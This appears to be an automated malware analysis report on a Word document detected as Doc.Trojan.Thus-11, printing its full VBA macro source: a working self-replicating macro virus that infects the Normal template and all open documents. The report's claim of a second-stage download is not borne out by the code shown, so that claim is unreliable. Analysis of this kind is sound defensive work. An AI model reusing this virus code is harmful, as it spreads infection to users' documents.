Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0eb640065c18ab1d…

MALICIOUS

Office (OLE)

38.0 KB Created: 1997-01-29 21:23:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 2c6be6a2c78493f43f53a30604dfd94b SHA-1: 821541d412d59fde84f8d19f5b3fa1523af8ea5a SHA-256: 0eb640065c18ab1df1698e8c19ae9f4d4069c7ca1b4ac3b09ead2cfe482b0ec5
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically a Document_Open macro designed to execute automatically. The ClamAV detection 'Doc.Trojan.Thus-11' strongly indicates malicious intent. The VBA script appears to be designed to download and execute a second-stage payload, although the exact download URL is not directly visible in the provided script excerpt.

Heuristics 3

  • ClamAV: Doc.Trojan.Thus-11 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-11
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2128 bytes
SHA-256: 62da72ca27932eb71982117ac7afcbfb0f657e681b6c5ed81bd5f39689d469d4
Detection
ClamAV: Doc.Trojan.Thus-11
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Open()
'Thus_001'
'Vacuna'
    On Error Resume Next
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) = "'Thus_001'" Then
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Vacuna'" Then
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
    .CodeModule.CountOfLines
    End If
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
    .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
    .Item(1).CodeModule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    For k = 1 To Application.Documents.Count
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) = "'Thus_001'" Then
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Vacuna'" Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
    .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    End If
    End If
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
    .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
    .VBComponents.Item(1).CodeModule.CountOfLines)
    End If
    Next k
End Sub
Private Sub Document_New()
    Document_Open
End Sub
Private Sub Document_Close()
    Document_Open
End Sub

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